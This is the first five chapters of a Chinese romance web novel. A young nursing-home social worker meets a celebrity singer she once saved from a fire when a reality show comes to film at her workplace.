《蓝色故事[救赎]》 1. 云水蓝 《蓝色故事[救赎]》全本免费阅读 吴楠涛最讨厌的就是下雨天,比下雨天更讨厌的莫过于回南天。 似乎全世界都潮得要命。 他工作的敬老院依山傍水,三栋楼杵在云里雾里,更是潮上加潮,每每看见老人走快几步都提心吊胆。 偏偏他去劝走慢点,老人们都不太上心,主打一个叛逆,唯有那个大学刚毕业的小搭档去劝,他们才乖乖“收脚”。 吴楠涛思忖,平时看她不声不响,对付这群老人却也是有一招,改天还得向她讨教讨教怎么才能管住。 不过走神一秒,余光便见穿着大红袄的刘阿北就抓着不锈钢饭盒闪进挡雨棚:“诶!老刘!慢点!” 刘阿北是敬老院里出了名的倔老头,每回都蹭着食堂早饭关窗口的时间线起床吃饭,今天也毫不例外起晚。 吴楠涛话音刚落,刘阿北的人字拖就踩上食堂湿漉漉的瓷砖。 可能真是怕什么来什么。 老头还是没踩稳,脚下一滑就要往前扑,而他距离刘阿北还有两三米…… 短短一刹,吴楠涛连自己怎么给刘阿北家属赔罪的姿势都想好了。 不过他的姿势恐怕用不上了。 熟悉身影蓦地从食堂里出现,长手一捞迅速将刘阿北的胳膊拽起来。 身材清瘦,但也只是勉强承受了老人前冲的大部分力,愣愣往后连退几步。 吴楠涛见状哪里还来得及思考其他有的没的,立马大跨步过去帮忙扶人。 ——“没事吧?” ——“都叫你慢点!” 带些关切的清脆女声和他着急上火的情绪撞在一起。 代澜站稳松手,这边她检查老人有无大碍,耳边就紧接吴楠涛的训斥:“天天广播给你们说小心地滑别走太快,左耳进右耳出是吧?” 刘阿北太犟,不说狠话不过耳。 然而老头心知肚明这位小涛社工只是嘴上狠,对他做不了什么,看没事了腰板霎时挺直,接过她手里饭盒的同时,掉了的面子以声量补偿:“哎呀,没事!知道了知道了!” 这位向来是个不听劝的,吴楠涛又是个急性子,两方一对,有时争着争着就容易当真。 代澜在暮镇敬老院里待得不久,但两位的脾性也算是摸得七七八八,如果此时再不干涉,老头恐怕又得赌气好几天,涛哥事后肯定后悔。 还是以防万一两边不痛快,她正声去劝:“什么小事?这次是我们在,你才没摔着,下次我们不在怎么办?” “摔了腿走不了路,小心我跟桐姨举报你不稳重。” 抓准时机,借着上次活动里她察觉到的小秘密,代澜出手,轻轻在刘阿北的软肋捏上一捏。 这招果然有用,刘阿北方才嚣张气焰霎时消散,就看他支吾:“你怎么知道……” 抬眸一瞬又瞧见吴楠涛神色不对,即刻噤声,咳嗽两下转而谄媚改口:“算了,小澜你别……我走慢点,我走慢点行了吧……” 边说着,刘阿北将饭盒抱胸口,放慢速度,却也算逃般远离这处是非之地。 解决了突发事件,身旁男人可算松一口气,随后便是预料之内的追问:“诶,你刚刚说的桐姨是怎么回事?难不成刘阿北对桐姨……” 桐姨是敬老院志愿小队的队员,也是活动积极分子。 最近几次志愿活动刘阿北都要做现眼包,还总是凑到桐姨那儿逗她开心,代澜留了个心眼,没想到竟被她在这时候用上。 “嗯……”她将视线落在食堂瓷砖上,因为雨水,地面布满了来往者的黑灰脚印,刘阿北摔的那下在地上滑出长长一道,“就是观察出来的。” 吴楠涛挑眉比了个大拇指,倒是没多问,只像往常那样当她心细:“我说他们为啥这么听你话呢,原来还有这说法……” 三言两语结束刘阿北的话题,两人便往康乐楼走,男人抬手看了眼手表,笑道:“哟,这才四十五分?你今天倒来得挺早啊。” “什么?”代澜反倒奇怪,皱眉侧头望对方,“今天就录节目了,不来早点的话,感觉不安心。” 刚说到前半句,眼前人便恍然,怪不好意思地挠了挠后脑勺:“嗐!对对对,我这不是刚被刘阿北那么一吓,给吓忘了……你看我这脑袋!” 话语落在耳边,代澜牵起嘴角笑了笑:“没关系。” 一段小插曲就这么潦草地完结。 殊不知话说得坦然,一句“不安心”便轻轻撇过她听闻要来之人后辗转反侧的数夜。 从食堂到康乐楼也需要穿过一条长长的挡雨棚,棚的两侧是花坛,里头被老人们种上蔬菜,倒是比种一般的观赏类植物更有人情味了。 这几天雨水偏多,代澜路过不由得替蔬菜的主人们留意一下会不会涝,正放慢脚步看得出神,却听吴楠涛又有叮嘱:“小澜,我得提醒你哦,林院长昨天说的话你得上点心!” 脑袋里还盘旋着蔬菜,代澜偶被提点,思维还落在后面,眼睛眨巴眨巴:“啊?” “我看你昨天还在听何子游的歌,是他粉丝吧?”吴楠涛笑吟吟,还带了些许戳破小秘密的得意,方才还夸她观察心细,这回也轮到他醒悟一把。 代澜一句“不是”才发了个气音,就被突如其来的电话铃声打断。 “等会儿等会儿……”对方边从裤兜掏出手机,待看清来电是谁后对她继续叮嘱,一脸“我都懂”:“你可得管住自己的私心,工作就是工作,可别搞成粉丝见面会哦……” “涛哥我不是……”见被误会,代澜不由得提高音量试图挣扎,心脏不知为何砰砰跳得飞快。 谁知吴楠涛接了电话给她打口型是院长来电,便自顾自冒雨往大门口保安亭走:“喂,院长好!哦你们快到了啊?” 人都走远,周遭除了雨声再度安静。 代澜轻叹,呼出的热气消散在冷风中。 罢了,罢了…… 她垂下手,指尖又下意识扣着死皮,似乎只有这种撕扯才能让人安心。 脑海里现出一少年瘦削身影,火光中的笑似乎染上了嘲讽味道。 “嘶……”舌尖最先品出熟悉的血腥味,代澜习以为常,更用力抿唇使血腥更泛滥,克制涌动的不安。 既然相遇,便坦然接受吧。 这雨不大,敲在挡雨棚上叮叮咚咚。 有麻雀恰好飞来躲雨,跳上横入雨棚下的枝条,她下意识伸手去快要滴落的饱满雨滴,下一秒就坠入手心。 然而视线只有顺着雨滴轨迹从指尖滑入手心,才会发现她本该白嫩的掌心有一道斜贯的疤痕。 雨水冰凉,她将惹来瘙痒也一并接纳。 代澜习以为常,凝视它片刻才垂手,口袋中常备的护掌套熟练掩去狰狞。 但愿这场相遇能平静度过。 - 办公室。 代澜登上电脑微信又催了一遍公司财务尽快把食堂防滑地毯之类的资金申请通过。 等回信的同时将上午要做的登记都做完,再看电脑才发现竟得到对方已购答复,还说已经跟老板车等下顺便带来。 果然是蹭了综艺的光,防滑地毯这种申请也能这么快通过。 道谢的话刚摁回车发送,吴楠涛就拨来电话:“小澜准备出来吧,老板院长他们到早卖了。” 早卖是山下的早安小卖部,是暮镇上经营了二十多年的商店,当地人都习惯叫它早卖。 从早卖到敬老院也就五分钟车程。 “好,马上。”她侧肩夹住手机随口应着,手上快速做着最后的登记。 等代澜坐电梯下楼,恰好遇见公司的黑色商务车驶入大院,后头还跟着几辆商务车还有一辆大巴,一看便知是节目组的车。 向大家打过招呼后,院长林彩和老板徐临下车后和几位导演组的人物径直往电梯走,气氛还算轻快,看样子是去二楼被节目 2. 云水蓝 《蓝色故事[救赎]》全本免费阅读 “诶诶,小澜。” 代澜抬眼便见吴楠涛右手攀着办公桌上叠起的资料,一脸八卦地探头来问:“发表一下和偶像近距离接触的感想呗。” 瞳孔悄然晃了晃,回避目光:“什么?” 面前电脑上运来物资清单还在一个字一个字蹦,但因为猝然被问到,输错了好几个数据。 “诶,我两只眼睛可是都看见了啊,楼下,大院。” “就是好心帮了帮,能有什么感想?”她如往常朝这位话痨一笑,继续打字。 男人的视线无非就是好奇,可不知怎的,代澜总泛出心虚,轻飘飘的目光就几乎将她死死钉住,连呼吸都不敢太重,只听人念叨:“看不出来啊,没想到你还是……” 还是什么? “还是个理智粉!” 给出的答案偏离得一如既往,代澜倒是莫名松了一口气:“其实我也不是粉丝……” “啊?真不是吗?”伴随着话尾音调跑高,翻找资料的动作短暂停顿,纸本被男人从最底层抽出,“那他人还挺好的哈。” 光标没再移动,剩余闪烁在代澜眸子里。 他……确实挺好的。 再退回二十分钟前的庭院里,雨水飞溅到脸颊,冰凉唤回代澜所有回忆。 身侧人在触碰到她手背的下一秒便移开了位置,潮湿在掌中传递,纸箱被骨节分明的手轻易托起,伞柄则被塞到她手心。 再抬头,何子游眼帘低垂,那双黑眸里揉了淡淡的笑,短暂对视间又有雨吹来,顺着刘海尾蓄成剔透珠子,沿着光滑额头一路滚落至鼻梁眼窝处,不经意染上那枚小痣。 干净,沉稳。 这是重逢后何子游留给代澜的第一印象。 瞬间后再无多想,只因伞骨很有分量,而她的眼眉也仅仅够到何子游的肩下,代澜不得不双手托扶着伞防止扛不住风雨倾倒。 两人相互合作,匆匆忙忙走到康乐楼下,这会儿工作人员都去楼上了,架空层空空荡荡,也就只有他俩落汤鸡。 咖啡色大伞被收起,一旁男人将坏掉的纸箱稳妥安置在墙边。 代澜尽力撇走衣服裤子上的水,余光却也时刻留意这位熟悉的陌生人。 “谢谢你。” 理所应当的一句,机缘巧合下却构成了重逢的第一次对话。 刚才情况紧急,乍然正面对上,让代澜先前排练录制中相遇的开场白全都失效。 道了谢又觉尴尬,只好装忙,手背随意擦擦额上滑落的水珠,刘海都被淋成条形码。 她胡乱扒拉几下不阻挡视线,从裤兜里掏出一包纸巾,先递给正拍着满手纸箱屑的男人。 目光从纸巾游向她的双眼,何子游的喉结动了动,似乎咽下了更多话,指尖捻出一张纸巾擦拭起来,笑容更像是对她的疏离表示默认:“这句谢谢还给你。” 维持恰如其分的距离,在一张纸巾的传递中被悄然建立,达成共识。 借着明星和素人关系的差别,逃避一些过去。 有些无耻,但至少是维持自尊的有效药。 回神时吴楠涛已经滑着电脑椅回到工位,再捕捉到那几个错误数据,却忍不住自嘲。 自己的心虚和不安会不会被加码太多了…… 几秒后,敏感被松开,错误被修正。 - 节目从第二个嘉宾下车开始算正式开拍。 对方的保姆车倒是进入视线范围内了,但离敬老院也还差了好几个山弯。 原本围在何子游周围的工作人员都退到导演组的区域,代澜才从人群的压迫感中得到些许解放。 雨停了,空气仍然潮湿,云层堪堪擦过远处的苍绿山尖。 手指绞着卫衣抽绳,她时不时假装向外张望。 原本看见何子游提前到达,还以为节目组改了嘉宾出场方式,没想到只是他一人特殊。 这么想着,一转头忽然看见黑黢黢的摄像头瞄准自己,代澜嘴角生硬上扬,机械般挥挥手,只听见镜头后有人笑出声。 然后就见宗朝璨探头出来,笑得阳光:“还没开录,小代社工放轻松呀。” 昨天导演组就特地把这群工作人员给他们好好介绍个遍。 宗朝璨是她的专属摄像师,竹竿似的身材让他即便套着工作人员的深红风衣也好认得很:“上镜很好看,放松就好。” 代澜点点头,又梗着脖子转回去,再望向山路,隔着郁郁葱葱的树木依稀看见保姆车离敬老院越来越近。 “子游,你和其他嘉宾认识吗?”吴楠涛还挺喜欢何子游的,方才在办公室一见面就拉起家常,看来这节目就算没有主持人也不会冷场。 身侧人的笑浅浅淡淡,如细雨落在湖泊漾开:“就认识一个。” 吴楠涛双手叠在胸前,听言来了兴致:“诶,让我猜猜……高荔、宋汝然、徐扬帆……还有一位是……?” “余渔。”她忍不住提醒,生怕吴楠涛在镜头前出了差错。 “哦对对!还有余渔,”吴楠涛骚了骚后脑勺转移话题,“那就……徐扬帆?我记得你唱过他们电视剧主题曲吧?” 被问的人没有立即回答,目光倒是有意无意落在她脸上一瞬,笑意不减,代澜视线紧急避让,耳畔听见回应:“和徐扬帆之前只是见过一面,猜错了。” 吴楠涛还想追问:“那是……” “阿啾!” 从鼻尖瘙痒开始就觉得不妙,然而要挡住喷嚏的手肘还是迟了一步。 ……脑袋嗡嗡。 “淋感冒了?”何子游伸手接过工作人员递来的纸巾,再转交给她。 代澜一手捂住口鼻,另一手接过纸巾,不忘小声道谢:“没有,鼻子痒而已。” 那道让人不得不在意的视线停留在她脸上,足够灼热又克制,在她画的分界线前徘徊。 他薄唇微动,开口的气声却被黑色保姆车的引擎声和导演组的招呼声掩盖,所有人的注意力都吸引过去。 于是代澜的好奇心被按下,熟人问题悬而未决。 “开拍了啊!”有人喊了一句。 车门自动滑开。 这是代澜第一次在现实生活中见到女明星,不得不承认,网上说明星和素人有壁是真的。 先暴露在众人眼前的是黑白拼接运动裤,长腿落地,而后是女生清爽面容出现。 一头过耳短发衬得脸蛋小巧,妆容素净,杏眼圆润化解短发的锋利。 纵使代澜迟钝,凭借标志性梨涡也反应过来,来者原是她。 宋汝然,新生代女演员,非科班出身却也凭借努力磨炼演技,去年凭借一部古装剧接连斩获几项视界奖项,在实力派立稳脚跟。 网上流传宋汝然是P图大师,委婉讲是真人相貌平平,如今一见真人,谣言不攻自破。 她隔着马路挥了挥手,远远看着就知道她身材比例极好,即便身着普通黑白灰运动套装也够让大家眼前一亮。 宋汝然小跑过了马路,代澜的目光一路就没从她脸上挪开过,是艺人的气场,自带闪亮张扬,让她有些羡慕,又生怯。 “大家好!”宋汝然走进雨棚下,笑着挨个握手,等她靠近时,才嗅见与潮湿雨意完全不同的花果清甜,“小代社工好呀!” 乍见美女,代澜微怔,脑袋里只剩下摇摇晃晃一句话:好香,好阳光,连平平无奇的名字经她口中念出仿佛都香气四溢。 代澜伸手相握:“你好……” 掌心相触,却听她用只有两人能听见的声量道:“真可爱呢。” 什么……? 还未等代澜反应,宋汝然已转身和其他人继续打招呼。 她还维持着握手的姿势,只是掌中空空。 宋汝然那句话只是单纯的感慨吗? 说的是我? 而带来疑问的人独自开朗走到一旁:“诶呀,大明星,真是好久不见啊!恭喜巡演顺利完成咯。” 大明星? 代澜的目光追着宋汝然的面向,何子游是就是那个熟人的事实显而易见。 周围的镜头不约而同怼到他们跟前看交谈甚欢,显然这是个爆点。 她耳尖不禁有些灼热。 看你,自作多情个什么。 没给她太多纠结羞耻的时间,后续嘉宾接连到场,一行人在成功会面后转移到康乐楼一层的多功能厅。 吴楠涛看众人落座,主动揽了主持人的活:“啊咱们今天正式见面,我打头,先来自我介绍一下!” “咳嗯……”吴楠涛清了清嗓子,“大家好!我是暮镇敬老院的驻站社工吴楠涛,在这里如果有什么需要尽管说,我都尽力解决,希望未来的日子里和大家相处融洽。” 众人纷纷鼓掌,代澜瞅准时机,心一横,屁股刚离开座位一厘米,可没想到有人比她更快—— “前辈老师们好!我叫余渔,余是年年有余,渔是三点水鱼,来自VUP娱乐,是个演员,在接下来的日子里还请各位多多关照!” 完了…… 她倒吸一口气,笑容还僵着,抠住裤边的指松懈,偷偷坐回原位…… 如果不从她这里开始,那么接下来,她只能最后一个发言。 好吧。 代澜无奈抬头看余渔,女孩浅棕发尾落在过肩位置,瓜子脸上笑容很有亲和力。 脑海里浮现昨夜她特意查过余渔的演员历程,这个女孩比她还小一岁,近两年在好几部大热电视剧里扮演各种女配刷脸。 名气虽不远远如在座其他几位嘉宾,言行举止却也落落大方不卑不亢,叫人心生好感。 “真好啊,没想到居然我能见到子烨公主!”吴楠涛笑得嘴都合不拢。 余渔显然有些意外,边点头,边拨开沙发靠背滑落的外套坐下,语气难掩激动:“啊,你居然知道子烨?这都是我出道的剧了。” 男人摆摆手,大概是没想到对方会回应,代澜难得在他脸上看出一丝羞涩:“公主的惊鸿一瞥,看过的人想忘都难吧?” “确实是,”插话的人却是余渔身侧的高荔,单手撑着脸颊注视着“子烨”,一颦一笑叫人如沐春风,“我也看过公主呢,确实演得不错。” 两方点头致意,而后高荔站起:“认识各位荣幸至极,我是高荔。” 高荔是在场年龄最大的嘉宾,三十出头,资历最高却也将礼数做最周到,话毕先朝所有人鞠躬。 再抬眸隐约在成熟面具下揭了一条缝,佯装苦恼窥见狡黠:“好像在场数我年纪最大呢……不过做事的话千万不要拘谨,尽管使唤我哦。” 方才高荔下车时,这一头层次感波浪卷就让代澜幻视她多年前饰演的一个角色。 高中时期的剧,反转复仇题材,高荔就在其中饰演女二。 既是总裁秘书,又是BOS 3. 云水蓝 《蓝色故事[救赎]》全本免费阅读 “不能花自己的钱?这怎么管?给经纪人保管吗?要是真要花钱咋办?” 代澜看着对话框上,好友辛穗一个接一个蹦出的问题,加快了打字的速度:“写了个小小的保证书,节目主要还是想尽量让大家沉浸式以普通社工的身份工作,在节目中不能使用钞能力等等啦。” “真要花钱的话,节目组还是给了每个人现金的,买些日常用品也足够了。” 指尖在键盘上快速跳跃,努力喂饱对方的好奇心:“对我们来说可能没啥吧,但是他们是明星,所谓由奢入俭难……” “也是,你们这算慢综吧,搞治愈系的,是得静下心来。”辛穗很快表达了理解。 对话暂告一段落,代澜盯着屏幕上的回复沉默几秒,而后随手把手机往兜里揣。 电梯抵达五楼,她发不知所云的呆,在电梯门再度动作之前才及时摁住跨出去,新舍友此刻就在宿舍里等着她。 老人们的午饭时间通常都更早,所以一个半小时前的介绍环节结束后,她便去监督老人们换药和吃药,而介绍敬老院内的各处功能室还有工作时间运作便由吴楠涛带领。 别看换药吃药说得简单,这份差事可不比在院里兜来兜去介绍容易,光是劝那位阿尔兹海默症的老人吃药就花了半个多小时,代澜从食堂出来时,众人早已回到了宿舍,整理自己的新床铺。 所以她不知道这个她是谁。 代澜站在深棕木门前迟疑,右手指节即将叩响的前一秒,这扇门却突然从里被拉开。 “小澜!” 还未见人,先闻其声。 宋汝然下一秒就出现在门后,琥珀色瞳孔灼灼望她,在阴郁的天气里点亮一滴跃动的光。 代澜被突击开门搞了个措手不及,本要敲门的右手要放不放,宋汝然见状直接握住她的手腕,顺理成章地牵着手,带代澜进了房间。 形势扭转,代澜一瞬还以为自己才是那个客人,懵懵地就跟着在床边坐下。 相比她昨天来放行李时房间的大片空白,现如今宋汝然的加入更添了生机。 她行李箱敞开,歪在过道,这会儿里面倒是空了,宋汝然爬上床时顺脚踹它,箱子才不情不愿地挪开,露出一条算能踩下去的窄路。 一米二的床上,等身抱枕占了三分之一,它的主人把它抱得很紧,滚来面向代澜:“我先躺会儿哦,刚刚收拾完,躺会儿再把箱子什么的收起来……对了,你怎么东西这么少啊?” 有人靠近,代澜下意识地身子往另一边侧,直到提问才发觉自己的动作太过疏离。 若被宋汝然发觉,会不会怀疑我并不喜欢她的热情? 思维纠结得深,她悄无声息还原距离。 “其实……我也是昨天才搬过来,加上我东西本来也没有多少。” 其实才不是,是因为怕未来舍友东西多,要是自己占太多位置就不好了。 “诶?我看涛哥也是住在这里的啊,怎么社工不是都统一宿舍吗?”宋汝然似乎没发觉她的纠结,卸了妆的素净小脸更显好奇神色。 “他是驻站社工,要从一大早开始检查老人的情况,负责的事情更多,我就是个普通的社工……”对代澜来说,恐怕说工作比介绍自己更简单。 宋汝然改趴在床上,两条细腿交错着晃来晃去,视线没离她半分:“怪不得呢。” 代澜跟着点点头,刚对上眼神又错开:“其实这栋楼是公司中标敬老院以后,暮镇才盖的,原来只有康乐楼一栋楼……我们住的这几个房间一直空着,也是决定录综艺才搬家具进来,所以还挺干净。” 敬老院就两个社工,加上院长林彩,前段时间为了整理院里所有的卫生可干了好久。 至于那两个护工…… 她垂眸至鞋尖,斟酌后咽下想法。 “在想什么呢?”见代澜断了话头,宋汝然追问。 聊了这么会儿,如果说先前还有忐忑,那么现在也慢慢放下,宋汝然松弛自在,连带着她也尝试着松懈,她示好地笑:“没事,胡思乱想而已。” 宋汝然不知为何似松了口气,从床上伸手将行李箱合上,轻轻一推便滑到墙边处:“好哦,那我玩会儿手机去啦。” 代澜应了句,开始收拾因今早下雨淋湿换下的衣物。 这时她才感觉宿舍离得近就是好。 将几件薄衫裤袜放进洗衣机,等晚上一起洗,代澜回到自己的书桌前,准备把原先没放出来的生活用品布置一下,突然发现靠墙的位置有些污渍,她想也没想就要抽纸巾擦擦。 不过刚要伸手够到纸巾,余光却看见先前搞卫生的抹布就被挂在角落的黑色架子上。 用纸巾不如用抹布环保。 代澜几步过去就掀了那张缝了卡通大猫的抹布,然而下一秒,她的大脑一片空白。 不过三十厘米距离,幽深黑的镜头直直对上她的脸颊,将瞳孔所有震动和无处躲藏的愕然锁进跳动的红色光点。 被窥视或无法藏匿的压迫感先没过代澜的理智线。 “这个……它……”她下意识做吞咽动作,毛巾攥在手心,隔着布料,指甲在护掌套上悄无声息剜下一道极浅的痕。 “啊,这个,节目组的 4. 云水蓝 《蓝色故事[救赎]》全本免费阅读 “我……”原本繁杂思绪因为和何子游的意外相见被劈开,留出短暂空白,指尖血的黏腻提醒代澜逃避的主题,在对视中唇齿念念,“这里没有摄像头,想来躲躲。” 安全通道的门随着话末缓缓掩上,隔绝了走廊汹涌的风。 雨等了一上午,它快忍不住了。 何子游没说什么,往上走了几个阶梯重新坐下,似乎是给她留些喘息的距离,代澜一时也不好走,进退两难,只好偷偷藏起左手,尴尬地望向窗外。 “自从九年前那场火灾之后……”身后的人忽然开口,声音淡淡荡在楼道。 她侧头望,可何子游并未看她,兀自盯着面前一处,代澜似乎能看穿他脸上清淡笑意里蕴含的自嘲:“我就习惯了要检查住处的安全通道,不看不安心。” 这是解释,也是提醒,在安全通道里直白地揭晓共鸣。 心照不宣,这字句滴滴渗入代澜脑海,反复提醒她的过去。 金红翻涌的火…… 空气中弥漫火星飞散后,燃着灰烬的味道…… 周遭骚乱和唏嘘声中,谁的亲人怔怔望向她的,那布满血丝的眼…… 恍惚中,过去那扇顽固铁板撤去一瞬望见的那少年的脸,与眼前男人的模样渐渐重合。 “阿澜?”有人温声将她从回忆的湖泊中挽起,但那记忆躲在放空的间隙让她难舍难分。 人还是那个人,可她呢? 提起过去如同提醒她早就不复从前,懊悔和心酸窝得揪心。 “阿澜?”何子游又念,这称呼她在那封信里见过,而听他嗓里说出还是头一回。 “嗯?”她终于清醒,才发现视线不自觉停留太久,久到那双熟悉又陌生的瞳孔早将她摄入眼底。 他好像只是“无心”越过她设下的防备,唤着有些过分亲昵的称呼以提醒方才走神。 就当是神游的歉意,她就先不提,只管着将兀自敲门的客人赶出心外,再偷偷计较,面上边点头,目光潜低继续话题:“嗯,我知道。” 坐在楼梯上的那位似乎是想借着这层关系继续拉进距离,见她回应便更主动,话里带笑:“其实我早就想当面和你道谢,只是不巧,好像总是阴差阳错……” 左手心有些痒,是下雨的讯号,代澜害怕尴尬生硬的道谢,连忙抢在之前开口:“你的礼物我都有在好好保存。” “这些年叔叔阿姨送的真的太多了,很谢谢你们……我去救你的初衷就是希望你活下来,现在你没事,这就是最好的礼物,所以明年……可以不用送这么多了。” 疏离面具继续阻隔对方若隐若现的靠近之意,但话里也是真心。 自那天后,何家陆续送了很多东西,过年过节从来不少,而何子游成名后更是多了一些专辑之类。 拒绝是早拒绝过的,但因着何子游这位正主从未出现,似乎总拒绝不完全。 如今总算等到机会见面,借着说清也刚刚好,毕竟明星和素人之间如隔天堑,本身共同参加综艺,若是再被人知道私下还有这层关系,就凭何子游这位在音乐界的身份,怕是更要招惹麻烦。 只是这番话刚说出口,空气微妙地变得粘稠。 男人撤下望着她的目光,只是微微点头,似乎还在斟酌。 是我拒绝得太心急了?会不会让他丢了面子? 从今早第一次见面开始,她想,自己的疏离已经表达得足够清楚,不必明说。 于公,她怕惹上麻烦,于私,过去的回忆对如今的她而言,更像一把利刃,反复提醒她是如何一步一步变成最讨厌的模样。 思绪如毛球缠得乱,代澜又琢磨自己是不是该将这地方还给何子游时,他突然开口,左手肘撑着膝盖,撑头看她,目光真诚:“是我的身份让你觉得不自在吗?” 何子游示人以温和,连做过预习的她都快沉溺其中,忘了在他温柔表面下是直击的灵魂,反倒让惯了弯弯绕绕的她莫名羞愧。 他是聪明人。 她知道他完全明白她的担忧,先前种种其实都是留着余地,代澜也不好再逃避,只好伪装淡定:“有点……吧……” 他忽然笑,笑声很碎,荡在楼道里像替外头先下了场雨:“终于肯说真话了呀。” 来了这么久,好像这场探戈就跳了多久。 一声闷雷响,随后便听见雨滴打在玻璃窗上,真正的雨来了。 代澜回头望向窗外,不声响掩去被感染的浅笑。 “我来之前,叔叔阿姨联系了我,让我照顾一下你。” 这下轮到她诧异,再看何子游时才发现他好似终于松弛下来,换了个坐姿:“我爸妈?” “是,”他轻点头,“你好像不知道?” “是不知道……”先前有所松懈的心再度被潮水淹没,她喃喃,但很快振作,“他们,原话就是这么说的吗?只是照顾,没有别的叮嘱?” 何子游摇头:“就是拜托照顾你,毕竟是上节目,我的经验多些,他们担心你出错之类的。怎么了?” 她还犹疑,双手背过身体,不知何时背靠墙做依托。 “你放心,我又不是那种打小报告的人。”男人开起玩笑,将手机置于身侧。 窗外阴云游走得快,安全通道的光沉寂下来,在何子游身上铺满冷色调。 但话是暖的。 “也没什么,就是他们不喜欢我干这行。” 曾经有太多人这样问过她,她也解释了太多遍。 从一开始的详尽告知,用力控诉,到最后失去激辩兴趣,浪淘尽后在浅滩上留下这么一句话。 所以他也不必知道太多。 她的防心还是很重,敲门的人被赶出去后并未离开,而是拿了把椅子坐下,继续说:“哦,好像能理解。” 是吧?代澜至今遇见的大部分人都能理解她父母的心情。 无非两点,一是觉得走基层辛苦,女孩子还是该坐在办公室稳妥,二是觉得社会工作这行毕竟太新鲜,进去了也难找到方向…… “社工专业,授人以鱼不如授人以渔,你选它,我并不意外。” “啊?” 他说的理解是理解我啊? “嗯?”他挑眉,连带着那颗小痣也微动,不解她有何不明。 “哦……” 莫名其妙的对话让人莫名其妙脸红。 把你当成了大部分人,真是不好意思。 代澜轻咳一声又隐入窗侧的阴影里,重新琢磨起他那句含义:“为什么不意外?” 5. 涧石蓝 《蓝色故事[救赎]》全本免费阅读 在身后藏了许久的左手终于得到自由,垂在侧,指尖仍保留残余血迹,但更多已被纸巾敛去。 有风从代澜脚边旋过,昭示人物空缺。 貌似察觉到一丝心安,她掌中还握着那张纸巾,在安全通道将何子游几分钟前说的话反复探究。 男人离开前答应了她可以在别人面前装不熟,但该合作的还是正常合作。 “避嫌可以,”何子游略微思索,很快便给出答案,笑意不减,和煦如春风,“放轻松做你自己,照常工作就好,不然大家还以为你是我黑粉呢。” 他如此打趣,代澜也没忍住勾唇,耳尖慢动作有些烫。 毕竟,是自己先故意疏离,不管再怎么说,他也是多年不见的哥哥,如此行事好像的确让人伤心。 何子游与她错身而过,拽开那扇沉门时,外头的风便倏地挤进来,搅乱一池寡淡沉寂。 鼻尖先嗅到雨水打起尘埃的味道,激得代澜猛地打了个喷嚏,她两手捂着脸鼻正缓神,却听本该要离开的人关切:“你的手怎么在流血?” 流血?代澜愕然,翻过手背,这才后知后觉他说的正是自己左手拇指上,被撕坏的指缝。 “我这没事,”她连忙解释,右手仓皇去剐那凝固血迹,却不想反倒破了刚凝固的伤口,要用力掩饰却漫出更多,“我就是喜欢撕死皮,一不小心就伤了而已。” 正无措地用指头,用掌心掩饰,对方忽然递上一张纸巾:“擦擦吧,回去贴个创口贴?你要是没有的话,下午我给你。” 然后她没再客气,接过的同时还句“谢谢”,蓦然发觉这交换似曾相识,他从容,还有兴致提醒:“再还给你。” 这下双方都觉有趣,轻声笑起。 “还有你的掌套是……” 代澜没想到何子游会问,显然对方有所联想是否当年事的因果,她也不再掩饰,坦然道:“嗯,就是留了个疤,遮一遮美观。” 提问的人似乎有一瞬落寞还是沉重,代澜正低头擦血痕,察觉时他已很快掩饰,一点也不扫兴,她也宁可他不提,男人留下一句“下午见”就离去,身影淹没在雨后放肆的风里。 - 午休时代澜做了个梦,掺了现实记忆的梦境尤为真实。 大院里的小孩从小就玩在一块玩泥巴,唯独何子游是例外。 他是院里最大的孩子,小学后又去了外地读书,不常回家,自然也就玩不到一起去。 时间把他隔离于孩子群之外,只有假期里极少数时间,代澜会看见他从后阳台上默默看着大家在篮球场玩闹。 又白又高,细条如柳抽枝,像极了古言里的文弱书生。 总之和他们这堆小皮猴是玩不到一起了。 她的梦在青春记忆的上空盘旋,最后灵魂落到青涩的十三十四岁的自己。 代澜放学回家经过小区门口的公交站,远远地就看见十六岁左右的何子游从公交车上下来。 深红色夹黑的校服反衬皮肤更冷白,身材也比以前更壮,背着个特别鼓的白色双肩包,还有个…… 她看着他一脚又往车上台阶跨,而后是黑色吉他包出现,接过就往小区里走。 正值盛夏。 到家的路很绕,代澜只是背着书包走得都满头是汗,拿着同学折的纸扇胡乱扇风,前面那男生背着提着更不轻松,但步伐不乱,一点不见狼狈样。 热气蒸腾,代澜人也变得散漫,看看摇晃树影,又瞧瞧别人家种的茶花,等走到楼下才看见这个哥哥还没上楼。 东西都放在脚边,左臂夹着水杯,手上拆小包纸巾,再慢条斯理地擦拭额上的汗。 纸巾是蓝绿色的包装,牌子该是温蒂,白山茶花香,当时在女生里很时兴,代澜家买不起。 楼体的阴凉比对着刺眼阳光,在他身上泛得蓝蓝。 听说他是个学霸。 学霸都这么讲究吗? 她一边发散思维,一边随手蹭了蹭额角上滑落的汗。 再低头,她手里竟也拿着一张温蒂的花香纸巾,梦里离奇事并不让人惊奇,有了纸巾便想翻面擦汗,可对折才发现,那面浸满了血,顺着她的小臂直直往下滴。 …… 这一觉睡得代澜的太阳穴扯着嗡嗡痛,宋汝然显然也睡得有点懵,两个人坐在床上还在缓神,乍一对上眼神,莫名都笑出声。 代澜倒是没什么要特别收拾的,她坐在床边穿鞋时瞟了一眼宋汝然,睡前就卸了妆的她正不慌不忙擦乳液,她不免要问,也是提醒:“你还要化妆吗?还有十分钟两点半哦。” 宋汝然擦完脸,将多余的乳液往手背抹:“不化了……嗐,哪有这个精神头化妆啊……” 也是,她妆前妆后差别也不大……所以今早化妆的意义是……? 代澜困惑了一秒,又很快释然,美女做事一定有她的道理。 宋汝然涂的那些东西她不完全懂,但羡慕,代澜悄悄望向墙角放着的镜子,哪怕隔了这么远,拉了窗帘的房间光线也昏暗,依旧能一眼望见她眼下堕着巨大的黑眼圈。 正走神,另一头传来盖盖子的声响,代澜立马撤回偷瞥镜子的眼神,她掩饰着,伸了个懒腰再站起身,拎起桌子上的钥匙:“走吧。” 正巧,刚出房间锁门,在隔壁宿舍住的高荔和余渔也出来,四人有说有笑地走到了中午约定的多功能厅。 吴楠涛好像就没回宿舍休息,四人到时见他在单人沙发上睡正酣。 他专属的摄像师也没作声响,也不知是什么时候到的,沉默地坐在机器后面给几人做了个手势当招呼。 几个女生默契地没吵醒他,站在走廊上等其余人到。 不到两分钟,代澜远远就瞅见大门口处来了一辆车,然后两位意想不到的人出现,她连忙小声和三人说:“我去里面叫涛哥,俩领导来了。” 